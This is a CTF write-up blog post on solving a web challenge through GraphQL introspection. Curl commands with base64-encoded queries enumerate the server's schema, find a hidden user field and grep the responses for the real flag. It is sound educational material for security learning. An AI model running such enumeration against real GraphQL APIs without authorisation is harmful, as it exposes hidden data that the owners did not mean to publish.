Fun with GraphQL Introspection 
Tags: ctf, graphql, introspection, 2articles1week
Published: 2020-10-02 01:23:18

---
title: Fun with GraphQL Introspection 
published: true
description: yet another CTF writeup 
tags: ctf,graphql,introspection,2Articles1Week 
---
This post is a writeup of **'funny-blogger'** challenge from [Cyberedu Warm-up CTF #1](https://warmup1.cyberedu.ro/)

Once you access the challenge web page, you can find a jQuery script to fetch blog posts.

```javascript
var arr = document.URL.match(/article=([0-9]+)/)
    var article = arr[1];
    if (article >= 0) {
        console.log(article);
        
        var request = $.ajax({
            method: "POST",
            dataType: "json",
            url: "/query",
            contentType: "application/x-www-form-urlencoded",
            data: "query=eyJxdWVyeSI6IntcbiAgICAgICAgICAgICAgICBhbGxQb3N0c3tcbiAgICAgICAgICAgICAgICAgICAgZWRnZXN7XG4gICAgICAgICAgICAgICAgICAgIG5vZGV7XG4gICAgICAgICAgICAgICAgICAgICAgICB0aXRsZVxuICAgICAgICAgICAgICAgICAgICBib2R5XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgIn0=",
            success: function(response) {
                document.getElementById("title").innerHTML = response.data.allPosts.edges[article].node.title;
                document.getElementById("content").innerHTML = response.data.allPosts.edges[article].node.body;
            }
        })
```  

When you decode the data part of POST request, and remove all unnecessary noises (whitespaces, newlines..), you'll get this query.

`{"query":"{allPosts{edges{node{title\nbody}}}}"}`

Further analysis of the HTTP traffic between the browser and the server shows that this request fetches all the blog post via `query` end point and then show only the post that the article parameter is pointing, like `/article=1`. #classicGraphQL

And here is the `curl` request to get all posts (or `node`s).

```bash
$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle3RpdGxlXG5ib2R5fX19fSJ9' | jq '.data.allPosts.edges[0:2]'

[
  {
    "node": {
      "title": "Day #0 of happines!",
      "body": "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum."
    }
  },
  {
    "node": {
      "title": "Day #1 of happines!",
      "body": "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum."
    }
  }
]

```

There are 800 posts (`article=0` through `article=799`) with the same format for `title`s and the same contents for `body`s and there is obviously no sign of flag from a normal request.

I jumped to check the *Introspection of GraphQL* query [1][2], because why not, with a hope of there being something in `node` object other than `title` and `body` which "hopefully" will give me the flag. And here are the steps that I took toward the flag.

Step 1. Checking all `type`s from `__schema` gives a name to check `PostObject`
  
```bash
{"query":"{__schema{types{name}}}"}

$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6IntfX3NjaGVtYXt0eXBlc3tuYW1lfX19In0='

{"data":{"__schema":{"types":[{"name":"Query"},{"name":"Node"},{"name":"ID"},{"name":"PostObjectConnection"},{"name":"PageInfo"},{"name":"Boolean"},{"name":"String"},{"name":"PostObjectEdge"},{"name":"PostObject"},{"name":"Int"},{"name":"UserObject"},{"name":"UserObjectConnection"},{"name":"UserObjectEdge"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}

```

Step 2. Checking all `fields`s from `PostObject` type gives a list of `filed` names.

```bash
{"query":"{__type(name:\"PostObject\"){name\nfields{name}}}"}

$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'eyJxdWVyeSI6IntfX3R5cGUobmFtZTpcIlBvc3RPYmplY3RcIil7bmFtZVxuZmllbGRze25hbWV9fX0ifQ=='

{"data":{"__type":{"name":"PostObject","fields":[{"name":"id"},{"name":"title"},{"name":"body"},{"name":"authorId"},{"name":"author"}]}}}
```

Step 3. `id` and `authorID` do not dive anything special as `title` and `body` did. But I found that `author` is another type, `UserObject`, which looks interesting, again because why not.

Step 4. Checking all `fields`s from `UserObject` type gives an interesting field called `randomStr1ngtoInduc3P4in`

```bash
{"query":"{__type(name:\"UserObject\"){name\nfields{name}}}"}

$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'eyJxdWVyeSI6IntfX3R5cGUobmFtZTpcIlVzZXJPYmplY3RcIil7bmFtZVxuZmllbGRze25hbWV9fX0ifQ=='

{"data":{"__type":{"name":"UserObject","fields":[{"name":"id"},{"name":"name"},{"name":"email"},{"name":"randomStr1ngtoInduc3P4in"},{"name":"posts"}]}}}
```

Step 5. `randomStr1ngtoInduc3P4in` gives strings of flag format but not quite a flag we want. And it looks like we need to find a right one out of 800.

```bash
{"query":"{allPosts{edges{node{author{randomStr1ngtoInduc3P4in}}}}}"}

$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle2F1dGhvcntyYW5kb21TdHIxbmd0b0luZHVjM1A0aW59fX19fSJ9' | jq '.data.allPosts.edges[0:2]'

[
  {
    "node": {
      "author": {
        "randomStr1ngtoInduc3P4in": "ECSC{Nope! Try harder! Nope! Try harder! Nope! Try harder! Nope! Try h}"
      }
    }
  },
  {
    "node": {
      "author": {
        "randomStr1ngtoInduc3P4in": "ECSC{Nope! Try harder! Nope! Try harder! Nope! Try harder! Nope! Try h}"
      }
    }
  }
]
```

Step 6. Found the flag with `grep` 

```bash
$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle2F1dGhvcntyYW5kb21TdHIxbmd0b0luZHVjM1A0aW59fX19fSJ9' | jq '.data.allPosts.edges' | grep -E -o 'ECSC{.*}' | grep -v 'harder'

ECSC{b8e9be2eb35748a0aa...}
```
{% youtube NPDp7GHmMa0 %}

[1] [https://graphql.org/learn/introspection/](https://graphql.org/learn/introspection/)
[2] [https://lab.wallarm.com/why-and-how-to-disable-introspection-query-for-graphql-apis/](https://lab.wallarm.com/why-and-how-to-disable-introspection-query-for-graphql-apis/)